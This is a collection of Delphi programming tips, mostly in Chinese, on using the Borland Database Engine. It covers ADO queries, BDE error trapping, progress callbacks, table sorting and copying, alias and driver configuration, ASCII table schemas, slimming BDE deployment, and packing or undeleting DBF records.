{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.
Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

ARecordSet.Close;{关闭数据集}

{用SQL语句进行查询,查询姓名为“张三”的记录}
{注意，在SQL语句中，字符串应该用单引号包括起来}
ARecordSet.open( 'select * from wfjcommu
where AName = ''张三''',
AConnection,adOpenStatic,adLockOptimistic,
adCmdText );
memo1.lines.add('********张三的内容如下********');
memo1.lines.add( '共有' + IntToStr
( ARecordSet.RecordCount ) + '条匹配的记录' );
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields
[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{关闭数据集和数据库连接}
ARecordSet.close;
AConnection.close;
end;


截获BDE错误

procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
if Edit1.Text > ' ' then begin
Table1.FieldByName('Number').AsInteger := StrToInt(Edit1.Text);
try
Table1.Post;
except on E: EDBEngineError do
ShowError(E);

end;
end;
end;

procedure TForm1.ShowError(AExc: EDBEngineError);

var
i: Integer;
begin
Memo1.Lines.Clear;
Memo1.Lines.Add('Number of errors: ' + IntToStr(AExc.ErrorCount));
Memo1.Lines.Add('');
{Iterate through the Errors records}
for i := 0 to AExc.ErrorCount - 1 do begin
Memo1.Lines.Add('Message: ' + AExc.Errors[i].Message);
Memo1.Lines.Add(' Category: ' +
IntToStr(AExc.Errors[i].Category));
Memo1.Lines.Add(' Error Code: ' +
IntToStr(AExc.Errors[i].ErrorCode));

Memo1.Lines.Add(' SubCode: ' +
IntToStr(AExc.Errors[i].SubCode));
Memo1.Lines.Add(' Native Error: ' +
IntToStr(AExc.Errors[i].NativeError));
Memo1.Lines.Add('');
end;
end;

//////////////////////////////////////////////////////////////////////////
{Information that describes the conditions of a database engine error can
be obtained for use by an application through the use of an EDBEngineError
exception. EDBEngineError exceptions are handled in an application through
the use of a try..except construct. When an EDBEngineError exception
occurs, a EDBEngineError object would be created and various fields in that
EDBEngineError object would be used to programmatically determine what
went wrong and thus what needs to be done to correct the situation. Also,
more than one error message may be generated for a given exception. This
requires iterating through the multiple error messages to get needed info-
rmation.

The fields that are most pertinent to this context are:

ErrorCount: type Integer; indicates the number of errors that are in
the Errors property; counting begins at zero.

Errors: type TDBError; a set of record-like structures that contain
information about each specific error generated; each record is
accessed via an index number of type Integer.

Errors.ErrorCode: type DBIResult; indicating the BDE error code for the
error in the current Errors record.

Errors.Category: type Byte; category of the error referenced by the
ErrorCode field.

Errors.SubCode: type Byte; subcode for the value of ErrorCode.

Errors.NativeError: type LongInt; remote error code returned from the
server; if zero, the error is not a server error; SQL statement
return codes appear in this field.

Errors.Message: type TMessageStr; if the error is a server error, the
server message for the error in the current Errors record; if not a
server error, a BDE error message.

In a try..except construct, the EDBEngineError object is created directly
in the except section of the construct. Once created, fields may be
accessed normally, or the object may be passed to another procedure for
inspection of the errors. Passing the EDBEngineError object to a special-
ized procedure is preferred for an application to make the process more
modular, reducing the amount of repeated code for parsing the object for
error information. Alternately, a custom component could be created to
serve this purpose, providing a set of functionality that is easily trans-
ported across applications. The example below only demonstrates creating
the DBEngineError object, passing it to a procedure, and parsing the
object to extract error information.

In a try..except construct, the DBEngineError can be created with syntax
such as that below}

procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
if Edit1.Text > ' ' then begin
Table1.FieldByName('Number').AsInteger := StrToInt(Edit1.Text);
try
Table1.Post;
except on E: EDBEngineError do
ShowError(E);
end;
end;
end;

{In this procedure, an attempt is made to change the value of a field in a
table and then call the Post method of the corresponding TTable component.
Only the attempt to post the change is being trapped in the try..except
construct. If an EDBEngineError occurs, the except section of the con-
struct is executed, which creates the EDBEngineError object (E) and then
passes it to the procedure ShowError. Note that only an EDBEngineError
exception is being accounted for in this construct. In a real-world sit-
uation, this would likely be accompanied by checking for other types of
exceptions.

The procedure ShowError takes the EDBEngineError, passed as a parameter,
and queries the object for contained errors. In this example, information
about the errors are displayed in a TMemo component. Alternately, the
extracted values may never be displayed, but instead used as the basis for
logic branching so the application can react to the errors. The first step
in doing this is to establish the number of errors that actually occurred.
This is the purpose of the ErrorCount property. This property supplies a
value of type Integer that may be used to build a for loop to iterate
through the errors contained in the object. Once the number of errors
actually contained in the object is known, a loop can be used to visit
each existing error (each represented by an Errors property record) and
extract information about each error to be inserted into the TMemo component}

procedure TForm1.ShowError(AExc: EDBEngineError);
var
i: Integer;
begin
Memo1.Lines.Clear;
Memo1.Lines.Add('Number of errors: ' + IntToStr(AExc.ErrorCount));
Memo1.Lines.Add('');
{Iterate through the Errors records}
for i := 0 to AExc.ErrorCount - 1 do begin
Memo1.Lines.Add('Message: ' + AExc.Errors[i].Message);
Memo1.Lines.Add(' Category: ' +
IntToStr(AExc.Errors[i].Category));
Memo1.Lines.Add(' Error Code: ' +
IntToStr(AExc.Errors[i].ErrorCode));
Memo1.Lines.Add(' SubCode: ' +
IntToStr(AExc.Errors[i].SubCode));
Memo1.Lines.Add(' Native Error: ' +
IntToStr(AExc.Errors[i].NativeError));
Memo1.Lines.Add('');
end;
end;


利用回调函数获取操作状态

----- Code Follows ---------

unit Testbc1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables, ComCtrls;

type
TForm1 = class(TForm)
Table1:
TTable;
BatchMove1: TBatchMove;
Table2: TTable;
Button1: TButton;
ProgressBar1: TProgressBar;

procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses Bde; {Dbi Types and Procs are located here}

{$R *.DFM}

{data structure  type to save previous callback info}
type TDbiCbInfo
= record
ecbType     : CBType;
iClientData : longint;
DataBuffLn  : word;
DataBuff    : pCBPROGRESSDesc;
DbiCbFn     : pointer;
end;
type PDbiCbInfo =
^TDbiCbInfo;

{Our callback function}
function DbiCbFn(ecbType : CBType;
iClientData : Longint;
CbInfo : pointer): CBRType stdcall;
var
s : string;
begin
{Check to see if the callback type is what we expect}
if ecbType = cbGENPROGRESS then begin
{if iPercentDone is less that zero then extract the number}
{of records processed from szMsg parameter}
if pCBPROGRESSDesc(cbInfo).iPercentDone < 0 then begin
s := pCBPROGRESSDesc(cbInfo).szMsg;

Delete(s, 1, Pos(': ', s) + 1);
{Calculate percentage done and set the progress bar}
Form1.ProgressBar1.Position :=
Round((StrToInt(s) / Form1.Table1.RecordCount) * 100);
end else
begin
{Set the progress bar}
Form1.ProgressBar1.Position :=
pCBPROGRESSDesc(cbInfo).iPercentDone;
end;
end;
{was there a previous callback registered}
{if so - call it and return}
if PDbiCbInfo(iClientData)^.DbiCbFn <> nil then

DbiCbFn :=
pfDBICallBack(PDbiCbInfo(iClientData)^.DbiCbFn)
(ecbType,
PDbiCbInfo(iClientData)^.iClientData,
cbInfo) else
DbiCbFn := cbrCONTINUE;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
CbDataBuff: CBPROGRESSDesc; {DBi Structure}
OldDbiCbInfo : TDbiCbInfo; {data structure to save previous
callback info}
begin
{Make sure the table we are moving from is open}
Table1.Open;

{make sure the table we are batch moving to is closed}
Table2.Close;
{get info about any installed callback}
DbiGetCallBack(Table2.Handle,
cbGENPROGRESS,
@OldDbiCbInfo.iClientData,
@OldDbiCbInfo.DataBuffLn,
@OldDbiCbInfo.DataBuff,
pfDBICallBack(OldDbiCbInfo.DbiCbFn));
{register our callback}
DbiRegisterCallBack(Table2.Handle,
cbGENPROGRESS,
longint(@OldDbiCbInfo),

SizeOf(cbDataBuff),
@cbDataBuff,
@DbiCbFn);

Form1.ProgressBar1.Position := 0;
BatchMove1.Execute;

{if a previous callback exists - reinstall it else}
{unregister our callback}
if OldDbiCbInfo.DbiCbFn <> nil then
DbiRegisterCallBack(Table2.Handle,
cbGENPROGRESS,
OldDbiCbInfo.iClientData,
OldDbiCbInfo.DataBuffLn,

OldDbiCbInfo.DataBuff,
OldDbiCbInfo.DbiCbFn) else
DbiRegisterCallBack(Table2.Handle,
cbGENPROGRESS,
longint(@OldDbiCbInfo),
SizeOf(cbDataBuff),
@cbDataBuff,
nil);

{lets show our success!}
Table2.Open;

end;

end.


使用BDE排序表

只适用于本地数据库(Paradox, dBase, Fox...)

1.
procedure SortTable(Db: TDatabase; SortTable:TTable; const NumSortFields:  array of Word;
                    const Caseinsensitive:    array of Bool;
                    const SortOrd:            array of SORTOrder;
                    RemoveDuplicate:        Boolean);
// Db     数据库

// SortTable         排序
// NumSortFields        排序的字段数
// Caseinsensitive      是否大小写敏感

// SortOrd              :)
// RemoveDuplicate      删除备份的记录

var
  hDB:        hDBIdb;                          {Handle of database holding tbl.}
  pTblName:   array[0..DBIMAXPATHLEN] of char; {Table name.}
  NumRecs:    LongInt;                         {Number of records to sort.}
  SortFldCount: Word;                          {Number of fields to sort on.}
begin
  hDb := Db.Handle;
  StrPCopy(pTblName, SortTable.TableName);
  SortFldCount := High(NumSortFields) + 1;
  Check(DBISortTable(hDB, pTblName,  szPARADOX,
                     nil, nil, nil,
                     nil, SortFldCount, @NumSortFields,
                     @Caseinsensitive, @SortOrd, nil,
                     RemoveDuplicate, nil, NumRecs));
end;

2.数据库一定要连接.
3.表一定要关闭

4.

procedure CallSort;
var
SortFields:       array[0..1] of
Word;
SortCase:
array[0..1] of Bool;
SortOrd:          array[0..1]
of SORTOrder;
begin
Table1.Active := False;
SortFields[0] := 1;
SortFields[1] := 2;
SortCase[0]   := True;
SortCase[1]   := True;
SortOrd[0]    := sortASCEND;
SortOrd[1]    := sortDESCEND;
dgSortTable(Database1, Table1, SortFields,
SortCase, SortOrd, False);
Table1.Active := True;
end;


查找并创建别名

uses bde,dbtables,...;

Var
AliasFound: Boolean;
TmpCursor: hDBICur;
Rslt: DBIResult;
Database: DBDesc;

Begin
Check(DbiInit(nil));
try
Check(DbiOpenDatabaseList(TmpCursor));
AliasFound := False;
  repeat
    {Get a DBDesc record for the next alias}
    rslt:= DbiGetNextRecord(TmpCursor, dbiNOLOCK, @Database, nil);
    if (rslt <> DBIERR_EOF) then
      if StrPas(Database.szName) = 'MyAlias' then
        begin
          {The alias MyAlias already exists}
          AliasFound := True;
          Break
        end;
  until rslt <> DBIERR_NONE;
  Check(DbiCloseCursor(TmpCursor));
  if not AliasFound then
    {If the alias was not found, add it to IDAPI.CFG}
    Check(DbiAddAlias(nil,PChar('MyAlias'),nil,
       PChar('PATH:'+ExtractFilePath(Application.ExeName)),True))
finally
  DbiExit;
end;
end;


动态改变BDE驱动

Start a new application, drop a Tsession on the form, set autosessionname to true, and add the following code into the OnCreate event handler for the form:

procedure TForm1.FormCreate(Sender: TObject);
var
DriverParams: TStringList;
begin
DriverParams := TStringList.Create;
try
{ add the parameters that you want to change only. The default for
this param is 31. }
DriverParams.Add('MAX DBPROCESSES=50');

{ call modify driver with name of driver and list of params }
session1.ModifyDriver('MSSQL',DriverParams);

{ call this if you want to save the changes in the BDE for all
applications to use, will only take affect after all BDE applications
have been unloaded on the system. }
session1.SaveConfigFile;
finally
DriverParams.Free;
end;
end;


使用ASCII驱动数据库

Delphi (包括所有使用BDE的工具) 具有使用ASCII文件当数据库表Table的能力，能够转换数据值成固定长度格式或者使用逗号分隔的ASCII文件，能够使用TTable元件显示。如何存取ASCII文件依赖于一个伴随的格式定义文件。这个格式定义文件定义了分析这个ASCII文件成单条记录和字段的必要的信息。因为逗号分隔的ASCII数据文件分析更加复杂，所以本文集中介绍这类文件。

格式定义文件
ASCII数据驱动的格式定义文件包含了定义文件类型(逗号分隔或者固定长度)和定义字段。为了使程序能够知道格式定义文件，格式定义文件的文件名必须与数据文件同名，并使用SCH为扩展名。其中定义的描述如下：

File name: 被一对方括号包含，这个设置定义ASCII文件的名称。数据文件的扩展名必须为TXT。
Filetype 定义ASCII文件的结构。
FIXED 固定格式
VARYING 变化格式
Delimiter: 定义字符串的分隔符，通常为双引号
Separator 定义字段间的分隔符，通常为逗号
CharSet: 定义语言驱动程序，通常为ASCII
定义文件下部分为字段定义。ASCII文件的每一行都是一条记录。字段定义提供BDE分配虚拟字段内存空间的信息。
字段定义的描述如下：
Field: 虚拟的字段名，总是以Field加一个整形数字。如Field1。第一个Field为Field1。

Field name: 定义显示的字段名。
Field type: 定义数据的BDE类型。

名称 类型描述
CHAR 字符串
FLOAT 64位的浮点型
NUMBER 16为的整数
BOOL 逻辑型，为True或False
LONGINT 32位的整形
DATE 日期字段
TIME 时间字段
TIMESTAMP 日期＋时间字段

(日期和时间格式为BDE设置中设置的格式.)
Data value length: 最大的字段长度。
Number of decimals: 适用于浮点数，定义小数点的位数
Offset: 描述起始位值

例如有一数据文件的第一字段为字符串，字段名为“Text”，最大长度为3个字符，没有小数点(字符串类型总是没有小数点)，并起始偏移量为0(因为是第一字段)。所以定义如下：

Field1=Text,Char,3,00,00
下面是一个具有三个字段的格式定义文件，第一个字段为字符串，第二、三字段为日期型字段，格式定义文件如下(ASCII文件名为DATES.TXT，所以SCH文件名为DATES.SCH)：
[DATES]
Filetype=VARYING
Delimiter="
Separator=,
CharSet=ascii
Field1=Text,Char,3,00,00
Field2=First
Contact,Date,10,00,03
Field3=Second,Date,10,00,13
这个格式定义文件为逗号分隔的文件。注意计算偏移量和小数点的定义。
一个ASCII逗号分隔的文件的偏移量不再是ASCII文件中的真正偏移量，但是这个长度参数将定义此字段的最大长度，并且有利于内存的管理。

实际上，如果你还有不太明白的地方，可以使用Database Desktop来创建一个ASCII数据表，观察SCH文件的定义和ASCII文件的存储格式。


获得BDE的系统信息

uses dbierrs, dbiprocs, dbitypes;

{$R *.DFM}

procedure LogDbiSysInfo(const LogFile: string);
var
Info: SYSInfo;
begin
DbiGetSysInfo(Info);
with TStringList.Create do
try
Clear;
Add(Format('BUFFER SPACE: %d', [Info.iBufferSpace]));
Add(Format('HEAP SPACE: %d', [Info.iHeapSpace]));
Add(Format('DRIVERS: %d', [Info.iDrivers]));
Add(Format('CLIENTS: %d', [Info.iClients]));
Add(Format('SESSIONS: %d', [Info.iSessions]));
Add(Format('DATABASES: %d', [Info.iDatabases]));
Add(Format('CURSORS: %d', [Info.iCursors]));
SaveToFile('c:\logcurs.txt');
finally
Free;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
table1.Open;
table2.open;
table3.Open;
LogDbiSysInfo('c:\logcurs.txt');
end;

end.


背份数据库

 procedure QuickCopyTable(T: TTable; DestTblName: string; Overwrite: Boolean);
var
DBType: DBINAME;
WasOpen: Boolean;
NumCopied: Word;
begin
//save table active state
WasOpen := T.Active;
if not WasOpen then T.Open; //ensure the table is open
//Get driver type string
Check(DbiGetProp(hDBIObj(T.Handle), drvDRIVERTYPE, @DBType, SizeOf(DBINAME), NumCopied));
//Copy the table
Check(DBICopyTable(T.DBHandle, Overwrite, PChar(T.Tablename),
DBType, PChar(DestTblName)));
//Restore active state
T.Active := WasOpen;
end;


定制BDE驱动程序

 Delphi程序员都知道，在数据库应用程序开发完成后，要发布程序需要同时发布BDE（Borland Database Engine），否则会引起错误“A Error occurred while attempingto initilize Borland Database Engine(Error $2109)”。当觉得程序太大而辛辛苦苦精简自己的程序到满意时，却发现BDE管理程序器需要9M之巨，不由感到沮丧，真有点自己的努力被糟蹋的感觉。不过也不必太沮丧，只要肯尝试，还是有办法来精简BDE的。
首先来看看BDE目录中的文件，所有文件确实有近9M大吧。不过有些可能是用不到的，关键文件的作用可参见Bde32.HLP中“Introduction to Borland Database Engine”下的“Core BDE Files”，其中列出了BDE的关键文件及其作用，可以以此作为依据来尝试精简BDE驱动程序。下面是各个文件的作用：
一、不可缺少的文件
Blw32.dll：语言驱动函数库。
Idapi32.dll：BDE基本函数库。
Fareast.bll、Usa.bll：远东语言及美国语言驱动程序，对中文软件不可缺少。
Idr20009.dll：错误信息库。
二、数据库驱动程序（根据需要选择一个或多个）
Idasci32.dll：Ascii文本数据库驱动程序函数库，如果不用Ascii文本数据库，可以不要。
Iddao32.dll：Access数据库驱动程序函数库，如果不用Access数据库，可以不要。
Iddbas32.dll：dBase数据库驱动程序函数库，如果不用dBase数据库，可以不要。
Idodbc32.dll：ODBC数据库驱动程序函数库，如果不用ODBC数据库，可以不要。
Idpdx32.dll：Paradox数据库驱动程序函数库，如果不用Paradox数据库，可以不要。
三、其它驱动程序和配置文件（根据需要选择一个或多个）
Idbat32.dll：批操作驱动程序函数库，如果不用TBatchMove控件或DbiBatchMove类函数，可以不要。
Iddr32.dll：Data Repository驱动程序函数库，如果不用Data Repository功能，可以不要。
Idprov32.dll：BDE DataSet provide驱动程序函数库，如果不用TProvider控件，可以不要。
Idqbe32.dll：QBE驱动程序函数库，如果不用Query By Example，可以不要。
Idsql32.dll：SQL查询驱动程序函数库，如果不用TQuery进行查询，可以不要。
Idapi32.cfg：BDE配置文件，如果程序中没有特殊要求，可以不要。也可以在BDE管理器中设置正确后再分发。
四、其它文件（一般不用）
BDE32.HLP、BDE32.CNT：BDE帮助文件，可以不要。
BdeAdmin.exe、BdeAdmin.HLP、BdeAdmin.CNT：BDE管理器及帮助文件，如果不会发生要求软件用户自己配置BDE的情况时，可以不要。
其它*.BLL：其它国家和地区的语言驱动程序，可以不要。
DataBump.EXE、DataBump.HLP、DataBump.CNT：数据库数据转移工具及帮助文件，可以不要。
Localsql.HLP、Localsql.CNT：SQL查询语句帮助文件，可以不要。
Sqllnk32.HLP、Sqllnk32.CNT：SQL连接帮助文件，可以不要。
在根据需要选择文件后，还要写注册表文件。这个应该不成问题，可以手工设置，但最好在程序中设置，在发现注册表中没有相应键值时写入，用TRegFile对象用不了几行代码的。需要设置的注册表键值有（在调用数据库操作前需要有正确的键值存在）：
数据驱动程序所在目录的设置：
HKEY_LOCAL_MACHINE\Software\Borland\Database Engine\DLLPATH（字符串值）
语言驱动程序所在目录的设置：
HKEY_LOCAL_MACHINE\Software \Borland\BLW32\BLAPIPATH（字符串值）
语言驱动程序文件名：HKEY_LOCAL_MACHINE\ Software\Borland\BLW32\LOCALE_LIB#（字符串值）
  其中#为编号，按顺序为0、1、2、3......如：
  HKEY_LOCAL_MACHINE\Software\Borland\
BLW32\LOCALE_LIB0="fareasst.bll"
  HKEY_LOCAL_MACHINE\Software\Borland
\BLW32\LOCALE_LIB1="usa.bll"
就这些了，按此办法即可有效减少BDE驱动程序的大小，例如只用TTable控件操作Paradox数据库，则只要Idapi32.dll、Blw32.dll、Idr20009.dll、Fareast.bll、Usa.bll、Idpdx32.dll六个文件即可。
这些文件可放在任何一个目录，只要在注册表指明即可。OK，BDE由9M多减到不到2M，ZIP一下就700多K了，比原来的应用系统减少了不少吧。


维护DBF 数据库

---- 由 于Delphi 开 发 的 易 用 性 和 快 速 性， 很 多 原 来 使 用Foxpro 和Visual Foxpro 编 程 的 程 序 员 转 向 了Delphi ． 但 由 于 工 作 上 或 其 它 的 原 因， 原 来 的 应 用 系 统 尤 其 是 应 用 数 据， 不 可 能 被 一 下 丢 弃， 因 而 需 要 用Delphi 来 维 护xBase 数 据 库 的 应 用 系 统 ． 本 文 总 结 了 在 工 作 和 学 习 中 的 经 验， 与 广 大Delphi 程 序 员 和 爱 好 者 共 享 ．

---- 在 下 面 讨 论 中， 主 要 应 用 了BDE 的 函 数 ．Delphi1.0 没 有 提 供BDE 函 数 的 帮 助 文 件， 请 参 见 Delphi\Doc 中 的DbiTypes.int、DbiProcs.int 和DbiErrs.int 三 个 文 件； 在Delphi3.0/4.0 中 可 参 见BDE 帮 助 文 件 ． 本 文 讨 论 的DBF 数 据 库 操 作 主 要 有： 真 正 删 除 记 录、 显 示 被 删 除 记 录、 获 取 当 前 记 录 号、 设 置 查 询 匹 配 方 式、 恢 复 被 删 除 记 录 ．

一 ．真正删除记录
---- 在Delphi 程序中，用TTable 或TQuery 构件的方法Delete执行删除记录的操作时执行的是软删除， 即 相 当 于Foxpro 中 的"Set Delete Off" 的 效 果， 仅 将 记 录 用 星 号"*" 标 记 为 删 除， 实 际 并 没 有 数 据 库 中 进 行 物 理 上 的 删 除 ． 要 进 行 真 正 的 删 除， 需 要 进 行Pack Table 的 操 作 ．

---- 在Delphi 程 序 中 真 正 删 除 记 录， 需 要 调 用BDE 函 数， 函 数 名 为DbiPackTable， 函 数 原 型 为：
function DbiPackTable ( hDb : hDBIDb;hCursor : hDBICur; pszTableName : PChar;pszDriverType : PChar; bRegenIdxs : Bool ): DBIResult;

---- 其 中,hDb 为 数 据 库TDatabse 的 句 柄，
hCursor 为 数 据 表TTable 的 句 柄，
pszTableName 为 要 删 除 记 录 的 数 据 表 的 名 称，
pszDriverType 为 要 删 除 记 录 的 数 据 表 的 类 型，
bRegenIdxs 表 示 是 否 在 删 除 记 录 后 自 动 更 新 索 引 文 件 ．

---- 在 上 面 前 四 个 参 数 中，hDb 不 能 为NULL ．hCursor、pszTableName、pszDriverType 可 以 为 NULL， 但 必 须 提 供 足 够 的 信 息 来 标 识 数 据 表 的 文 件 名 称 和 类 型， 当hCursor 不 为 空 时， pszTableName 和pszDriverType 可 以 为NULL； 当pszTableName 为 数 据 表 的 路 径 和 文 件 名 时，hCursor 和pszDriverType 可 以 为NULL ．

---- 值 得 注 意 的 是， 在 删 除 记 录 时， 如 果 用Table 来 实 现， 则Table 必 须 以Exclusive=True 的 方 式 打 开 ． 下 面 就 是 一 个 典 型 的 例 子 ．

   首先，应在uses语句加上DbiTypes,DbiProcs,DbiErrs.{
Pack一个DBF数据表,DbfTable包含了数据表的信息 }
function PackDbfTable( DbfTable : TTable ) :
boolean;
var
errResult :
DBIResult;
begin
if not DbfTable.Exclusive
then  {如果不是以独占方式,操作失败 }
begin
result := false;
exit;
end;
{进行删除操作
}
errResult := DbiPackTable( DbfTable.dbHandle,
DbfTable.handle, NIL, NIL, true );

{根据返回结果,返回成功与否的标志 }
if errResult = DBIERR_NONE then {没有错误,操作成功 }
result := true
else{没有错误,操作失败 }
result := false;
end;

二 ．显示或不显示被软删除记录
---- 当DBF 数 据 库 中 的 记 录 被 软 删 除 后， 缺 省 情 况 下 在TDBGrid 等 数 据 库 构 件 中 是 看 不 见 这 些 记 录 的 ． 我 们 可 以 用BDE 函 数 来 控 制 是 否 显 示DBF 数 据 库 中 被 软 删 除 的 记 录， 就 象 在Foxpro 中 利 用 语 句 Set Delete ON/OFF 那 样 ．

要 用 到 的 函 数 名 为DbiSetProp， 函 数 原 型 为
function DbiSetProp ( hObj : hDBIObj; iProp : Longint; iPropValue : Longint): DBIResult;

---- 该 函 数 用 来 设 置DBI 对 象 中 某 个 属 性 的 值.
其 中,hObj 为DBI 对 象 名 称， 我 们 这 里 为 数 据 表TTable 的 句 柄；
iProp 为 属 性 名 称， 我 们 用 的 是 软 删 除 属 性curSOFTDELETEON；
iPropValue 为 属 性 值， 我 们 用True 或False 表 示 是 否 使 软 删 除 的 记 录 被 显 示 ．

下 面 就 是 一 个 典 型 的 例 子 ．
   同 样， 应 在uses 语 句 加 上DbiTypes,DbiProcs,DbiErrs.

{显示DBF数据表中的软删除记录,DbfTable包含了数据表的信息,DeleteOn 表示是否显示,True表示显示 }
function SetDbfDelete( DbfTable : TTable ; DeleteOn : boolean ) : boolean;
var
errResult : DBIResult;
begin
result := false; {操作失败时,返回False }

{如果数据表没有打开,则操作失败 }
if ( not DbfTable.active ) then
exit;

     {进行设置显示操作 }
errResult :=
DbiSetProp( hDBIObj(DbfTable.Handle), curSOFTDELETEON,LongInt( DeleteOn
));
if errResult = DBIERR_NONE then {没有错误,则操作成功
}
begin
result :=
true;
DbfTable.refresh;
end;
end;

三．获取当前记录号
--- 在 用Foxpro 时,RecNo() 函 数 用 惯 了， 在Delphi 程 序 没 有 这 样 的 函 数 觉 得 别 扭 ． 下 面 我 们 可 以 用BDE 函 数 获 取 当 前 记 录 在 数 据 集 中 的 记 录 号 ．

---- 要 用 到 的 函 数 名 为DbiGetRecord， 函 数 原 型 为
function DbiGetRecord (hCursor : hDBICur; eLock : DBILockType; pRecBuff : Pointer;precProps : pRECProps ): DBIResult;

---- 该 函 数 用 来 取 得 当 前 记 录 的 一 些 属 性 ．
其 中，hCursor 可 为 数 据 集 的Handle，
eLock 为 对 记 录 加 锁 的 类 型，
pRecBuff 存 放 记 录 的 缓 冲 区，
precProps 为 记 录 属 性 集 ．

下 面 就 是 一 个 典 型 的 例 子 ．
  同样，应在uses语句加上 DbiTypes,DbiProcs,DbiErrs.

{取得当前记录的记录号 }
function RecNo( ADbfTable : TTable ) : LongInt;
var
RecordProps: RecProps;
begin
Result := 0; {返回0表示函数执行失败 }
with ADbfTable do
begin {如果数据集处于非活动状态,则执行失败 }
if not active then
exit;

{使数据集的当前记录与实际的当前记录的位置一致 }
UpdateCursorPos;

{取得当前记录的属性, 主要是记录的位置 }
if DBIERR_NONE < > DbiGetRecord (Handle, dbiNOLOCK, nil, @RecordProps) then
exit;{发生错误,则操作失败 }

       Result := RecordProps.iPhyRecNum; {取得记录号
}
end;
end;

四．设置查询匹配方式( 精确匹配/ 非精确匹配)
---- 在 用Foxpro 时，Set Exact ON/OFF 对 数 据 查 询 影 响 很 大 ． 在Delphi 中， 我 们 同 样 可 以 进 行 这 样 的 设 置 ．
   要 用 到 的 函 数 名 为DbiSetProp， 这 次 用 的 属 性 名 称iProp 为curINEXACTON， 属 性 值iPropValue 为 True 或False，True 表 示Set Exact OFF ．

下 面 就 是 一 个 典 型 的 例 子 ．
同样，应在uses语句加上DbiTypes,DbiProcs,DbiErrs.

{设置匹配方式，DbfTable 包含了数据表的信息,ExactOn 表示是否精确匹配,True表示是 }
function SetDbfExact( DbfTable : TTable ; ExactOn : boolean ) : boolean;
var
errResult : DBIResult;
begin
{如果没有打开,则操作失败 }
if ( not DbfTable.active ) then
begin
result := false;
exit;
end;

{进行设置显示操作 }
errResult := DbiSetProp( hDBIObj(DbfTable.Handle), curINEXACTON, LongInt( not ExactOn ));

if errResult = DBIERR_NONE then {没有错误,操作成功 }
result := true
else{发生错误,操作失败 }
result := false;
end;

五．恢复被软删除的记录
---- 在Delphi 应 用 程 序 中， 对DBF 数 据 表 执 行 的 删 除 操 作 为 软 删 除 操 作 ． 由 于 物 理 记 录 并 没 有 从 数 据 表 中 删 除， 我 们 就 可 以 恢 复 被 软 删 除 的 记 录， 只 要 去 掉 删 除 标 志 即 可 ．

要 用 到 的 函 数 名 为DbiUndeleteRecord， 函 数 原 型 为：
function DbiUndeleteRecord ( hCursor : hDBICur ): DBIResult;
---- 其 中，hCursor 可 为 数 据 集 的Handle ．

- 下 面 就 是 一 个 典 型 的 例 子 ．
    同样，应在uses语句加上DbiTypes,DbiProcs,DbiErrs.

{恢复被软删除的记录 }
function UndeleteRecord( DbfTable : TTable ) : boolean;
begin
Result := false;
{返回false表示函数执行失败 }

with DbfTable do
begin
{如果数据集处于非活动状态,则执行失败 }
if not active then
exit;

{使数据集的当前记录与 实际的当前记录的位置一致 }
UpdateCursorPos;

{恢复被软删除的记录 }
if DBIERR_NONE < > DbiUndeleteRecord( Handle ) then
exit;{发生错误,操作失败 }

         result := true; {操作成功
}
end;
end;


为Delphi提供Pack和Undelete功能

Delphi编程的过程中也有不如人意的地方，特别是在本地数据库方面，它居然不支持十分有用的Pack和Undelete功能。对于数据库来说，因为是一个顺序存储文件，在删除部分记录是一般采用了软删除技术，也就是说将要删除的记录标记已删除的标记，但并不立即从物理上删除这些记录。这样做可以避免仅仅删除一条记录就要将整个数据库重新写入存储器，提高了读写的效率。但是如果数据库长期不对已经被标记为删除的记录进行整理和真实删除，数据库就会越来越大，其中无用的数据所占的比率越来越大，使得数据库的读写效率迅速下降，而且造成查询速度的减慢。在编写本地数据库时有个规律，如果数据进出数据库频繁，也就是说不断删除旧的数据，加入新的数据的情况下每次在关闭数据库的时候或打开数据库的时候先做一次Pack，对数据库进行整理，将软删除的记录真正从数据库中删除。但是在Delphi的各个版本中数据库控件均未提供Pack的功能，这使得用Delphi编写的数据库软件如果使用本地数据库的形式，数据库的大小增长很快，即使删除了大量记录，数据库的大小没有任何改变。

经过再三查找，我找到一些资料，说明如何对数据库进行pack了，在将其改编后在Delphi中使用通过。下面是其中的核心程序。

BDE API Call:

DBIResult DBIFN DbiPackTable (hDb, hCursor, pszTableName, [

pszDriverType], bRegenIdxs);

在数据库引擎的底层函数调用中，我找到了这个函数，这个函数据说可以对FoxPro的数据库进行Pack,其中hDb是数据库的句柄，可以由Table.Handle获得；hCursor是数据表（Table）关联的游标，如果为NULL则数据表依赖于pszTableName和pszDriverType这两个传输决定数据库的来源；bRegenIdxs决定是否关联外接的索引文件尤其是MDX多索引文件。

具体的操作函数如下：

procedure PackTable(Table: TTable);

var

Props: CURProps;

hDb: hDBIDb;

begin

if not Table.Active then

raise EDatabaseError.Create('Table必需已经打开');

if not Table.Exclusive then

raise EDatabaseError.Create('Table必需以独占方式打开');

Check(DbiGetCursorProps(Table.Handle, Props));

if (Props.szTableType = szDBASE) then

Check(DbiPackTable(Table.DBHandle, Table.Handle, nil, szDBASE, True))

else

raise EDatabaseError.Create('Table必需是dBASE或FoxPro类型');

Table.Open;

end;

